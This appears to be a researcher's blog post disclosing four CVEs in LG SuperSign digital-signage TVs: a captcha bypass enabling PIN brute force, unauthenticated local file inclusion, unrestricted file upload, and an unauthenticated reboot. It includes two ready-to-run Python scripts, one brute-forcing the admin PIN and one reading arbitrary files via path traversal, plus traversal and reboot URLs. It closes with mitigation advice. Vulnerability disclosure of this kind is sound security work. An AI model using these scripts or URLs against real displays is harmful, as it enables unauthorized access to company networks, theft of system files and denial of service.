Hello there, it´s been a long time.
Lately, I´ve been playing with
LG SuperSign TVs and found some vulnerabilites.
These vulnerabilities have been addressed with the following CVE's
Weak authentication (bypass captcha + 4 digit PIN)
CVE-2018-16286
Arbitrary FIle Upload
CVE-2018-16287
LFI
CVE-2018-16288
DoS via reboot command
CVE-2018-16706
As we can see in the link above, LG SuperSign TVs are..
"*An industry definitive, software-based content management solution
*All-in-one solution for editing, scheduling, and distribution
*Suitable for large-scale displays operation. Seamless management of different content for different displays"
These TVs are used in companies and stores for advertising.
The displayed content can be managed from a CMS that these TVs have built-in, called SuperSign EZ. It offers a web interface running on port 9080 (Using a Node.js Express Framework):
First vuln, weak authentication
In the screenshot above, we have a login form with two fields, PIN and captcha. Hmmm...We don't know the min and max length of the PIN number and we can't bruteforce it because the presence of the captcha. But....Once I had access to the administration page (In this case the CMS had the default PIN 0000) I found two interesting things.
1_ There is a cookie that takes the name and value captcha:pass
2_ The PIN number, has a max of 4 digits (I verified that in the "Change PIN number" section)
So, I logged out, and using a cookie editor, added a cookie with the name "captcha" and the value "pass" and guess what...
The captcha was gone!
So....We have a 4 digit PIN number and no captcha to resolve...It's time to script our way in!
Analizing the response after a successful login we receive the message:
If we enter a wrong password we get:
So, we can code something like this:
import requests
import re
from argparse import ArgumentParser
parser = ArgumentParser(description="SuperSign BruteForce Script")
parser.add_argument("-t", "--target", dest="target",
help="Target")
parser.add_argument("-p", "--pass", dest="password",
help="password")
args = parser.parse_args()
print "===================================="
print "= SuperSign BruteForce Script ="
print "===================================="
f = open(args.password, 'r') #Opening password file (or you can just use while starting from 0000 to 9999)
for line in f:
data = {
'id':'admin',
'password':str(line).replace('\n', ''),
'captcha':'pass',
'captcha_compare':'pas'
}
print '[+]Trying with PIN:',str(line)
s = requests.post('http://'+ str(args.target).replace('\n', '') +'/', data=data)
matches = re.findall('success', s.text);
if len(matches) == 0:
print 'Access Denied'
print
else:
print 'Success!'
break
The code is very simple. We make a request, using the cookie captcha:pass, for every value in 0000-9999 range and wait for the right response.
Bingo, we are in.
Second vuln, Local File Inclusion
Once I was in, using again my friend burp, I analized the requests that the application make when the user wants to add a new template and found that some files are called in this URL:
http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/LGXXXXXX/uploaded_file.ext
uploaded_file.ext is the file included in the template.
So, I started to try for LFI in some paths, and after receive the message "Not found" over and over, I received this beautiful response in this path:
http://LG_SuperSign_IP:9080/signEzUI/playlist/edit/upload/../../../../../../../../../../etc/passwd
This is so critical, because, this TV's can be connected with any other device of the company/store:
An attacker can obtain sensitive information for further attacks.
If you are thinking, An attacker needs to know the first vulnerability to gain access and later use the second one to get those files. Well, you are wrong. There is no need to be authenticated to exploit this LFI. If you take a look at the picture again, you can see that there is no cookie, so I'm not logged in.
Here is the code in python to retrieve any file you want:
import requests
import re
from argparse import ArgumentParser
parser = ArgumentParser(description="SuperSign Reboot")
parser.add_argument("-t", "--target", dest="target",
help="Target")
parser.add_argument("-p", "--path", dest="filepath",
help="path to the file you want to read")
args = parser.parse_args()
path = args.filepath
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path))
print s.text
Third vuln, Arbitrary file upload
Obviously, if you can serve content, you've got a File Upload function. The problem is that there is no control about the file type a user can upload, so we can upload any kind of files.
Then, we can access the uploaded file using the LFI vulnerability (to get an XSS in this case):
With this in mind, an attacker can access to the manager, upload a malicious file and send the link to the victim.
Hey wait, there's one more..
Fourth vuln, DoS via reboot function
Triggering an error, I found some interesting files that I could read via the LFI. One of those file had the code to a reboot function:
So...making a request to the URL http://SuperSign_IP:9080/qsr_server/device/reboot it is possible to reboot the device without authentication.
Well, I guess that's all for the moment.
Recommendations
At the moment, the only thing you can do to mitigate this vulnerabilities is isolate this devices. You must restrict the access to this TVs in your internal network and please, please, please, DO NOT EXPOSE THEM TO THE INTERNET!!!!